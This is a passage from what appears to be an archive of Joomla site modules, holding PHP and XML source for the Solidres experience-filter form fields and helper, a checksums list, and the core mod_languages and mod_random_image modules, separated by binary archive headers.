 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

defined('_JEXEC') or die;
JFormHelper::loadFieldClass('checkboxes');

class JFormFieldFilterByReview extends JFormFieldCheckboxes
{
	protected $type = 'FilterByReview';

	protected function getOptions()
	{
		$options    = array();
		$app        = JFactory::getApplication();
		$filterData = $app->getUserState('com_solidres.experience.filterData', array());
		$active     = explode('|', $app->input->getString('review', ''));

		foreach (PlgSolidresFeedback::getReviewRange() as $value => $text)
		{
			if ($filterData && !empty($filterData['review'][$value]))
			{
				$text .= ' (' . $filterData['review'][$value] . ')';
			}

			$option          = new stdClass;
			$option->checked = '';
			$option->value   = $value;
			$option->text    = $text;
			$options[]       = $option;

			if (isset($active[0]) && $active[0] == $value)
			{
				$option->checked = 1;
				break;
			}
		}

		return array_merge(parent::getOptions(), $options);
	}
}PK!+	�N�
�
0mod_sr_experience_filter/fields/rangebyprice.phpnu&1i�<?php

/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

JFormHelper::loadFieldClass('checkboxes');
JLoader::register('SRExperienceHelper', SRPlugin::getAdminPath('experience') . '/helpers/experience.php');
JLoader::register('SRCurrency', SRPATH_LIBRARY . '/currency/currency.php');

class JFormFieldRangeByPrice extends JFormFieldCheckboxes
{
	protected $type = 'RangeByPrice';

	protected function getOptions()
	{
		$options           = array();
		$app               = JFactory::getApplication('site');
		$currentCurrencyId = $app->input->cookie->get('solidres_currency', 0, 'int');

		if (!$currentCurrencyId)
		{
			$currentCurrencyId = JComponentHelper::getParams('com_solidres')->get('default_currency_id', 0);
		}

		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('filter_range')
			->from('#__sr_currencies')
			->where('id = ' . (int) $currentCurrencyId);
		$db->setQuery($query);
		$ranges     = explode("\r\n", $db->loadResult());
		$app        = JFactory::getApplication();
		$filterData = $app->getUserState('com_solidres.experience.filterData', array());
		$active     = explode('|', $app->input->getString('range', ''));

		foreach ($ranges as $range)
		{
			$range = str_ireplace('plus', '0', trim($range));
			$parts = explode('-', $range, 2);

			if (count($parts) == 2)
			{
				$min         = (float) $parts[0];
				$max         = (float) $parts[1];
				$value       = $min . '-' . $max;
				$minCurrency = new SRCurrency(0, $currentCurrencyId);
				$maxCurrency = new SRCurrency(0, $currentCurrencyId);
				$minCurrency->setValue($min, false);
				$maxCurrency->setValue($max, false);

				if ($min > 0.00 && $max > 0.00)
				{
					$text = $minCurrency->format() . ' - ' . $maxCurrency->format();
				}
				elseif ($min < 0.01)
				{
					$text = '<= ' . $maxCurrency->format();
				}
				else
				{
					$text = '>= ' . $minCurrency->format();
				}

				if ($filterData && !empty($filterData['range'][$value]))
				{
					$text .= ' (' . $filterData['range'][$value] . ')';
				}

				$option          = new stdClass;
				$option->value   = $value;
				$option->text    = $text;
				$option->checked = in_array($range, $active);
				$options[]       = $option;
			}
		}

		return array_merge(parent::getOptions(), $options);
	}
}
PK!�'[���3mod_sr_experience_filter/fields/filterbypartner.phpnu&1i�<?php
/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

defined('_JEXEC') or die;
JFormHelper::loadFieldClass('checkboxes');

class JFormFieldFilterByPartner extends JFormFieldCheckboxes
{
	protected $type = 'FilterByPartner';

	protected function getOptions()
	{
		$options = parent::getOptions();
		$db      = JFactory::getDbo();
		$query   = $db->getQuery(true)
			->select('DISTINCT a.id AS value, CONCAT(a.firstname, " ", a.lastname) AS text, ' . $db->q('') . ' AS checked')
			->from($db->qn('#__sr_customers', 'a'))
			->innerJoin($db->qn('#__sr_experiences', 'a2') . ' ON a.id = a2.partner_id');
		$db->setQuery($query);

		if ($rows = $db->loadObjectList())
		{
			$app        = JFactory::getApplication();
			$filterData = $app->getUserState('com_solidres.experience.filterData', array());
			$active     = explode('|', $app->input->getString('owner', ''));

			foreach ($rows as $row)
			{
				$value = (int) $row->value;

				if ($filterData && !empty($filterData['owner'][$value]))
				{
					$row->text .= ' (' . $filterData['owner'][$value] . ')';
				}

				if (in_array($value, $active))
				{
					$row->checked = 1;
				}

				$options[] = $row;
			}
		}

		return $options;
	}
}PK!��M\gg4mod_sr_experience_filter/fields/filterbycategory.phpnu&1i�<?php

/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

defined('_JEXEC') or die;

JFormHelper::loadFieldClass('checkboxes');

class JFormFieldFilterByCategory extends JFormFieldCheckboxes
{
	protected $type = 'FilterByCategory';

	protected function getOptions()
	{
		$options = parent::getOptions();
		$db      = JFactory::getDbo();
		$query   = $db->getQuery(true)
			->select('a.id AS value, a.name AS text, ' . $db->q('') . ' AS checked')
			->from($db->quoteName('#__sr_experience_categories', 'a'))
			->where('a.state = 1');
		$db->setQuery($query);

		if ($rows = $db->loadObjectList())
		{
			$app        = JFactory::getApplication();
			$filterData = $app->getUserState('com_solidres.experience.filterData', array());
			$active     = explode('|', $app->input->getString('cat', ''));

			foreach ($rows as $row)
			{
				$value = (int) $row->value;

				if ($filterData && !empty($filterData['cat'][$value]))
				{
					$row->text .= ' (' . $filterData['cat'][$value] . ')';
				}

				if (in_array($value, $active))
				{
					$row->checked = 1;
				}

				$options[] = $row;
			}
		}

		return $options;
	}

}PK!y&)�ww:mod_sr_experience_filter/fields/filterbytransportation.phpnu&1i�<?php

/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

defined('_JEXEC') or die;
JFormHelper::loadFieldClass('checkboxes');

class JFormFieldFilterByTransportation extends JFormFieldCheckboxes
{
	protected $type = 'FilterByTransportation';

	protected function getOptions()
	{
		$options = parent::getOptions();
		$db      = JFactory::getDbo();
		$query   = $db->getQuery(true)
			->select('a.id AS value, a.name AS text, ' . $db->q('') . ' AS checked')
			->from($db->quoteName('#__sr_experience_transportations', 'a'))
			->where('a.state = 1');
		$db->setQuery($query);

		if ($rows = $db->loadObjectList())
		{
			$app        = JFactory::getApplication();
			$filterData = $app->getUserState('com_solidres.experience.filterData', array());
			$active     = explode('|', $app->input->getString('tran', ''));

			foreach ($rows as $row)
			{
				$value = (int) $row->value;

				if ($filterData && !empty($filterData['tran'][$value]))
				{
					$row->text .= ' (' . $filterData['tran'][$value] . ')';
				}

				if (in_array($value, $active))
				{
					$row->checked = 1;
				}

				$options[] = $row;
			}
		}

		return $options;
	}
}PK!{`���"mod_sr_experience_filter/checksumsnu&1i�35bebe8ce07a2e9fe8b8a386c309b0b3 modules/mod_sr_experience_filter/fields/filterbycategory.php
4bd7e45ad620f450972baa7feade5f44 modules/mod_sr_experience_filter/fields/filterbypartner.php
229e71b3450e5fbf3f876d2b4e9a43d5 modules/mod_sr_experience_filter/fields/filterbyreview.php
492f3c560d9a6d9acdd9d6fe2231b148 modules/mod_sr_experience_filter/fields/filterbytag.php
dffcefba4b262c929acf7c9bc16018f3 modules/mod_sr_experience_filter/fields/filterbytransportation.php
710147bbe3be79e5cc5997e1e3d30d7c modules/mod_sr_experience_filter/fields/rangebyprice.php
9972f01a89644bfcf3c1e95631b50cde modules/mod_sr_experience_filter/forms/filter.xml
d55359d207f683634d2be17600879942 modules/mod_sr_experience_filter/helper.php
1d5c118a1ce087ee0f980f588a78d69d modules/mod_sr_experience_filter/language/de-DE/de-DE.mod_sr_experience_filter.ini
4776a89419155d84af2146bd27788601 modules/mod_sr_experience_filter/language/de-DE/de-DE.mod_sr_experience_filter.sys.ini
4ae7188ac887bc89e4ec5d023d0eae80 modules/mod_sr_experience_filter/language/en-GB/en-GB.mod_sr_experience_filter.ini
1e33987e7292262fa44e9d4e8c9df443 modules/mod_sr_experience_filter/language/en-GB/en-GB.mod_sr_experience_filter.sys.ini
b3f859ede2754d6c6f727c9a857b3487 modules/mod_sr_experience_filter/language/he-IL/he-IL.mod_sr_experience_filter.ini
6fd4a398a6ca225f9f1cd6729f4803ce modules/mod_sr_experience_filter/language/he-IL/he-IL.mod_sr_experience_filter.sys.ini
eb12faf9819388b2a710ded9eb079d25 modules/mod_sr_experience_filter/language/ru-RU/ru-RU.mod_sr_experience_filter.ini
343b994c88ff019fbcc980ea17c6b287 modules/mod_sr_experience_filter/language/ru-RU/ru-RU.mod_sr_experience_filter.sys.ini
a5c6bfd7fe9d97b260c2eca66b8486f9 modules/mod_sr_experience_filter/mod_sr_experience_filter.php
b1525a66ed920870c30f3c8e8f96a309 modules/mod_sr_experience_filter/mod_sr_experience_filter.xml
e9821a2883cdb88f6453aa8a4fd20692 modules/mod_sr_experience_filter/tmpl/default.php
PK!}~U�""#mod_sr_experience_filter/helper.phpnu&1i�<?php
/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

defined('_JEXEC') or die;

class ModSRExperienceFilterHelper
{
	public static function getFilterQueryNames()
	{
		return [
			'cat',
			'range',
			'owner',
			'tran',
			'day',
			'hour',
			'review',
			'distance',
			'ordering',
			'direction',
			'mode',
			'tag',
		];
	}

	/**
	 * @param $params \Joomla\Registry\Registry
	 *
	 * @return JForm
	 *
	 * @since 0.1.0
	 */

	public static function getForm()
	{
		static $form;
		$config   = JComponentHelper::getParams('com_solidres');
		$app      = JFactory::getApplication();
		$language = JFactory::getLanguage();

		if (!$form instanceof JForm)
		{
			$language->load('plg_solidres_experience', SRPlugin::getPluginPath('experience'));
			$form = new JForm('com_solidres.experience_filter');
			$form::addFieldPath(JPATH_ADMINISTRATOR . '/components/com_solidres/models/fields');
			$form::addFieldPath(SRPlugin::getAdminPath('experience') . '/models/fields');
			$form::addFieldPath(__DIR__ . '/fields');
			$form::addFormPath(__DIR__ . '/forms');

			if (SRPlugin::isEnabled('hub'))
			{
				$form::addFieldPath(SRPlugin::getSitePath('hub') . '/models/fields');
			}

			if (!$form->loadFile('filter'))
			{
				throw new RuntimeException('Filter form not found.');
			}

			$durationDays  = $config->get('show_exp_duration_days_filter', 1);
			$durationHours = $config->get('show_exp_duration_hours_filter', 1);

			if ($durationDays || $durationHours)
			{
				$filterData = $app->getUserState('com_solidres.experience.filterData', []);
				$days       = preg_split('/\r\n|\n|,/', trim($config->get('duration_days', '')));
				$hours      = preg_split('/\r\n|\n|,/', trim($config->get('duration_hours', '')));
				$string     = '';

				if ($durationDays && !empty($days))
				{
					$active = explode('|', $app->input->getString('day', ''));
					$option = '';

					foreach ($days as $day)
					{
						if (strpos($day, '-') !== false)
						{
							$checked = in_array($day, $active) ? ' checked="true"' : '';
							$day     = join('-', explode('-', $day, 2));
							$count   = isset($filterData['day'][$day]) ? ' (' . $filterData['day'][$day] . ')' : '';
							$option  .= '<option value="' . $day . '"' . $checked . '>' . $day . ' ' . JText::_('SR_UNIT_DAYS_LABEL') . $count . '</option>';
						}
					}

					if (!empty($option))
					{
						$string .= '<field name="day" type="checkboxes" label="SR_FILTER_DURATION_DAYS" class="exp_filter">' . $option . '</field>';
					}
				}

				if ($durationHours && !empty($hours))
				{
					$active = explode('|', $app->input->getString('hour', ''));
					$option = '';

					foreach ($hours as $hour)
					{
						if (strpos($hour, '-') !== false)
						{
							$checked = in_array($hour, $active) ? ' checked="true"' : '';
							$hour    = join('-', explode('-', $hour, 2));
							$count   = isset($filterData['hour'][$hour]) ? ' (' . $filterData['hour'][$hour] . ')' : '';
							$option  .= '<option value="' . $hour . '"' . $checked . '>' . $hour . ' ' . JText::_('SR_UNIT_HOURS_LABEL') . $count . '</option>';
						}
					}

					if (!empty($option))
					{
						$string .= '<field name="hour" type="checkboxes" label="SR_FILTER_DURATION_HOURS" class="exp_filter">' . $option . '</field>';
					}
				}
			}

			if (!empty($string))
			{
				$form->load('<form><fieldset name="filter">' . $string . '</fieldset></form>');
			}
		}

		if (!$config->get('show_exp_category_filter', 1))
		{
			$form->removeField('cat');
		}

		if (!$config->get('show_exp_partner_filter', 1))
		{
			$form->removeField('owner');
		}

		if (!$config->get('show_exp_range_filter', 1))
		{
			$form->removeField('range');
		}

		if (!$config->get('show_exp_distance_filter', 1))
		{
			$form->removeField('distance');
		}

		if (!$config->get('show_exp_review_filter', 1) || !SRPlugin::isEnabled('feedback'))
		{
			$form->removeField('review');
		}
		else
		{
			$language->load('plg_solidres_feedback', SRPlugin::getPluginPath('feedback'));
		}

		if (!$config->get('show_exp_tag_filter', 1))
		{
			$form->removeField('tag');
		}

		$activeFilters = [];
		$fieldNames    = self::getFilterQueryNames();
		$input         = JFactory::getApplication('site')->input;

		foreach ($input->get->getArray() as $name => $value)
		{
			if (in_array($name, $fieldNames))
			{
				$activeFilters[$name] = explode('|', $value);
			}
		}

		$form->bind($activeFilters);

		return $form;
	}
}
PK!0g�gAAmod_languages/mod_languages.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_languages
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\ModuleHelper;
use Joomla\Module\Languages\Site\Helper\LanguagesHelper;

$headerText = $params->get('header_text');
$footerText = $params->get('footer_text');
$list       = LanguagesHelper::getList($params);

require ModuleHelper::getLayoutPath('mod_languages', $params->get('layout', 'default'));
PK!�bQ��mod_languages/mod_languages.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" method="upgrade">
	<name>mod_languages</name>
	<author>Joomla! Project</author>
	<creationDate>February 2010</creationDate>
	<copyright>(C) 2010 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.5.0</version>
	<description>MOD_LANGUAGES_XML_DESCRIPTION</description>
	<namespace path="src">Joomla\Module\Languages</namespace>
	<files>
		<filename module="mod_languages">mod_languages.php</filename>
		<folder>src</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/mod_languages.ini</language>
		<language tag="en-GB">language/en-GB/mod_languages.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_LANGUAGE_SWITCHER" />
	<config>
		<fieldset>
			<field
				name="language"
				type="list"
				label="JFIELD_LANGUAGE_LABEL"
				description="JFIELD_MODULE_LANGUAGE_DESC"
				validate="options"
				>
				<option value="*">JALL</option>
			</field>
		</fieldset>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="header_text"
					type="textarea"
					label="MOD_LANGUAGES_FIELD_HEADER_LABEL"
					filter="safehtml"
					rows="3"
					cols="40"
				/>

				<field
					name="footer_text"
					type="textarea"
					label="MOD_LANGUAGES_FIELD_FOOTER_LABEL"
					filter="safehtml"
					rows="3"
					cols="40"
				/>

				<field
					name="dropdown"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_LANGUAGES_FIELD_DROPDOWN_LABEL"
					default="0"
					filter="integer"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="dropdownimage"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_LANGUAGES_FIELD_DROPDOWN_IMAGE_LABEL"
					default="1"
					filter="integer"
					showon="dropdown:1"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="image"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_LANGUAGES_FIELD_USEIMAGE_LABEL"
					default="1"
					filter="integer"
					showon="dropdown:0"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="full_name"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_LANGUAGES_FIELD_FULL_NAME_LABEL"
					showon="dropdown:1[OR]image:0"
					default="1"
					filter="integer"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="show_active"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_LANGUAGES_FIELD_ACTIVE_LABEL"
					default="1"
					showon="dropdownimage:1[OR]dropdown:0"
					filter="integer"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="inline"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_LANGUAGES_FIELD_INLINE_LABEL"
					default="1"
					filter="integer"
					showon="dropdown:0"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					class="form-select"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					rows="3"
					validate="CssIdentifier"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK!j�'2��mod_languages/helper.phpnu�[���<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_languages
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('MenusHelper', JPATH_ADMINISTRATOR . '/components/com_menus/helpers/menus.php');

/**
 * Helper for mod_languages
 *
 * @since  1.6
 */
abstract class ModLanguagesHelper
{
	/**
	 * Gets a list of available languages
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module params
	 *
	 * @return  array
	 */
	public static function getList(&$params)
	{
		$user		= JFactory::getUser();
		$lang		= JFactory::getLanguage();
		$languages	= JLanguageHelper::getLanguages();
		$app		= JFactory::getApplication();
		$menu		= $app->getMenu();
		$active		= $menu->getActive();

		// Get menu home items
		$homes = array();
		$homes['*'] = $menu->getDefault('*');

		foreach ($languages as $item)
		{
			$default = $menu->getDefault($item->lang_code);

			if ($default && $default->language === $item->lang_code)
			{
				$homes[$item->lang_code] = $default;
			}
		}

		// Load associations
		$assoc = JLanguageAssociations::isEnabled();

		if ($assoc)
		{
			if ($active)
			{
				$associations = MenusHelper::getAssociations($active->id);
			}

			// Load component associations
			$option = $app->input->get('option');
			$class = ucfirst(str_replace('com_', '', $option)) . 'HelperAssociation';
			\JLoader::register($class, JPATH_SITE . '/components/' . $option . '/helpers/association.php');

			if (class_exists($class) && is_callable(array($class, 'getAssociations')))
			{
				$cassociations = call_user_func(array($class, 'getAssociations'));
			}
		}

		$levels    = $user->getAuthorisedViewLevels();
		$sitelangs = JLanguageHelper::getInstalledLanguages(0);
		$multilang = JLanguageMultilang::isEnabled();

		// Filter allowed languages
		foreach ($languages as $i => &$language)
		{
			// Do not display language without frontend UI
			if (!array_key_exists($language->lang_code, $sitelangs))
			{
				unset($languages[$i]);
			}
			// Do not display language without specific home menu
			elseif (!isset($homes[$language->lang_code]))
			{
				unset($languages[$i]);
			}
			// Do not display language without authorized access level
			elseif (isset($language->access) && $language->access && !in_array($language->access, $levels))
			{
				unset($languages[$i]);
			}
			else
			{
				$language->active = ($language->lang_code === $lang->getTag());

				// Fetch language rtl
				// If loaded language get from current JLanguage metadata
				if ($language->active)
				{
					$language->rtl = $lang->isRtl();
				}
				// If not loaded language fetch metadata directly for performance
				else
				{
					$languageMetadata = JLanguageHelper::getMetadata($language->lang_code);
					$language->rtl    = $languageMetadata['rtl'];
				}

				if ($multilang)
				{
					if (isset($cassociations[$language->lang_code]))
					{
						$language->link = JRoute::_($cassociations[$language->lang_code] . '&lang=' . $language->sef);
					}
					elseif (isset($associations[$language->lang_code]) && $menu->getItem($associations[$language->lang_code]))
					{
						$itemid = $associations[$language->lang_code];
						$language->link = JRoute::_('index.php?lang=' . $language->sef . '&Itemid=' . $itemid);
					}
					elseif ($active && $active->language == '*')
					{
						$language->link = JRoute::_('index.php?lang=' . $language->sef . '&Itemid=' . $active->id);
					}
					else
					{
						if ($language->active)
						{
							$language->link = JUri::getInstance()->toString(array('path', 'query'));
						}
						else
						{
							$itemid = isset($homes[$language->lang_code]) ? $homes[$language->lang_code]->id : $homes['*']->id;
							$language->link = JRoute::_('index.php?lang=' . $language->sef . '&Itemid=' . $itemid);
						}
					}
				}
				else
				{
					$language->link = JRoute::_('&Itemid=' . $homes['*']->id);
				}
			}
		}

		return $languages;
	}
}
PK!�>�@CCmod_languages/tmpl/default.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_languages
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $app->getDocument()->getWebAssetManager();
$wa->registerAndUseStyle('mod_languages', 'mod_languages/template.css');
?>
<div class="mod-languages">
	<p class="visually-hidden" id="language_picker_des_<?php echo $module->id; ?>"><?php echo Text::_('MOD_LANGUAGES_DESC'); ?></p>

<?php if ($headerText) : ?>
	<div class="mod-languages__pretext pretext"><p><?php echo $headerText; ?></p></div>
<?php endif; ?>

<?php if ($params->get('dropdown', 0)) : ?>
	<?php HTMLHelper::_('bootstrap.dropdown', '.dropdown-toggle'); ?>
	<div class="mod-languages__select btn-group">
		<?php foreach ($list as $language) : ?>
			<?php if ($language->active) : ?>
				<button id="language_btn_<?php echo $module->id; ?>" type="button" data-bs-toggle="dropdown" class="btn btn-secondary dropdown-toggle" aria-haspopup="listbox" aria-labelledby="language_picker_des_<?php echo $module->id; ?> language_btn_<?php echo $module->id; ?>" aria-expanded="false">
					<?php if ($params->get('dropdownimage', 1) && ($language->image)) : ?>
						<?php echo HTMLHelper::_('image', 'mod_languages/' . $language->image . '.gif', $params->get('full_name') ? '' : $language->title_native, null, true); ?>
					<?php endif; ?>
					<?php echo $params->get('full_name', 1) ? $language->title_native : strtoupper($language->sef); ?>
				</button>
			<?php endif; ?>
		<?php endforeach; ?>
		<ul role="listbox" aria-labelledby="language_picker_des_<?php echo $module->id; ?>" class="lang-block dropdown-menu">

		<?php foreach ($list as $language) : ?>
			<?php
				$lbl = '';
				if ($params->get('full_name') === 0)
				{
					$lbl = 'aria-label="' . $language->title_native . '"';
				}
			?>
			<?php if (!$language->active) : ?>
				<li>
					<a role="option" <?php echo $lbl; ?> href="<?php echo htmlspecialchars_decode(htmlspecialchars($language->link, ENT_QUOTES, 'UTF-8'), ENT_NOQUOTES); ?>">
						<?php if ($params->get('dropdownimage', 1) && ($language->image)) : ?>
							<?php echo HTMLHelper::_('image', 'mod_languages/' . $language->image . '.gif', $params->get('full_name') ? '' : $language->title_native, null, true); ?>
						<?php endif; ?>
						<?php echo $params->get('full_name', 1) ? $language->title_native : strtoupper($language->sef); ?>
					</a>
				</li>
			<?php elseif ($params->get('show_active', 1)) : ?>
				<?php $base = Uri::getInstance(); ?>
				<li class="lang-active">
					<a aria-current="true" role="option" <?php echo $lbl; ?> href="<?php echo htmlspecialchars_decode(htmlspecialchars($base, ENT_QUOTES, 'UTF-8'), ENT_NOQUOTES); ?>">
						<?php if ($params->get('dropdownimage', 1) && ($language->image)) : ?>
							<?php echo HTMLHelper::_('image', 'mod_languages/' . $language->image . '.gif', $params->get('full_name') ? '' : $language->title_native, null, true); ?>
						<?php endif; ?>
						<?php echo $params->get('full_name', 1) ? $language->title_native : strtoupper($language->sef); ?>
					</a>
				</li>
			<?php endif; ?>
		<?php endforeach; ?>
		</ul>
	</div>
<?php else : ?>
	<ul role="listbox" aria-labelledby="language_picker_des_<?php echo $module->id; ?>" class="mod-languages__list <?php echo $params->get('inline', 1) ? 'lang-inline' : 'lang-block'; ?>">

	<?php foreach ($list as $language) : ?>
		<?php
			$lbl = '';
			if ((($params->get('full_name') === 0) && ($params->get('image') === 0)) || (!$language->image))
			{
				$lbl = 'aria-label="' . $language->title_native . '"';
			}
		?>
		<?php if (!$language->active) : ?>
			<li>
				<a role="option" <?php echo $lbl; ?> href="<?php echo htmlspecialchars_decode(htmlspecialchars($language->link, ENT_QUOTES, 'UTF-8'), ENT_NOQUOTES); ?>">
					<?php if ($params->get('image', 1)) : ?>
						<?php if ($language->image) : ?>
							<?php echo HTMLHelper::_('image', 'mod_languages/' . $language->image . '.gif', $language->title_native, array('title' => $language->title_native), true); ?>
						<?php else : ?>
							<span class="label" title="<?php echo $language->title_native; ?>"><?php echo strtoupper($language->sef); ?></span>
						<?php endif; ?>
					<?php else : ?>
						<?php echo $params->get('full_name', 1) ? $language->title_native : strtoupper($language->sef); ?>
					<?php endif; ?>
				</a>
			</li>
		<?php elseif ($params->get('show_active', 1)) : ?>
			<?php $base = Uri::getInstance(); ?>
			<li class="lang-active">
				<a aria-current="true" role="option" <?php echo $lbl; ?> href="<?php echo htmlspecialchars_decode(htmlspecialchars($base, ENT_QUOTES, 'UTF-8'), ENT_NOQUOTES); ?>">
					<?php if ($params->get('image', 1)) : ?>
						<?php if ($language->image) : ?>
							<?php echo HTMLHelper::_('image', 'mod_languages/' . $language->image . '.gif', $language->title_native, array('title' => $language->title_native), true); ?>
						<?php else : ?>
							<span class="badge bg-secondary" title="<?php echo $language->title_native; ?>"><?php echo strtoupper($language->sef); ?></span>
						<?php endif; ?>
					<?php else : ?>
						<?php echo $params->get('full_name', 1) ? $language->title_native : strtoupper($language->sef); ?>
					<?php endif; ?>
				</a>
			</li>
		<?php endif; ?>
	<?php endforeach; ?>
	</ul>
<?php endif; ?>

<?php if ($footerText) : ?>
	<div class="mod-languages__posttext posttext"><p><?php echo $footerText; ?></p></div>
<?php endif; ?>
</div>
PK!W-��%mod_random_image/mod_random_image.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" method="upgrade">
	<name>mod_random_image</name>
	<author>Joomla! Project</author>
	<creationDate>July 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_RANDOM_IMAGE_XML_DESCRIPTION</description>
	<namespace path="src">Joomla\Module\RandomImage</namespace>
	<files>
		<filename module="mod_random_image">mod_random_image.php</filename>
		<folder>src</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/mod_random_image.ini</language>
		<language tag="en-GB">language/en-GB/mod_random_image.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_RANDOM_IMAGE" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="type"
					type="text"
					label="MOD_RANDOM_IMAGE_FIELD_TYPE_LABEL"
					default="jpg"
				/>

				<field
					name="folder"
					type="text"
					label="MOD_RANDOM_IMAGE_FIELD_FOLDER_LABEL"
					validate="filePath"
				/>

				<field
					name="link"
					type="text"
					label="MOD_RANDOM_IMAGE_FIELD_LINK_LABEL"
				/>

				<field
					name="width"
					type="number"
					label="MOD_RANDOM_IMAGE_FIELD_WIDTH_LABEL"
					default="100"
					filter="integer"
				/>

				<field
					name="height"
					type="number"
					label="MOD_RANDOM_IMAGE_FIELD_HEIGHT_LABEL"
					filter="integer"
				/>

			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					class="form-select"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					rows="3"
					validate="CssIdentifier"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK!��JI��%mod_random_image/mod_random_image.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_random_image
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\ModuleHelper;
use Joomla\Module\RandomImage\Site\Helper\RandomImageHelper;

$link   = $params->get('link');
$folder = RandomImageHelper::getFolder($params);
$images = RandomImageHelper::getImages($params, $folder);
$image  = RandomImageHelper::getRandomImage($params, $images);

require ModuleHelper::getLayoutPath('mod_random_image', $params->get('layout', 'default'));
PK!�i����mod_random_image/helper.phpnu�[���<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_random_image
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
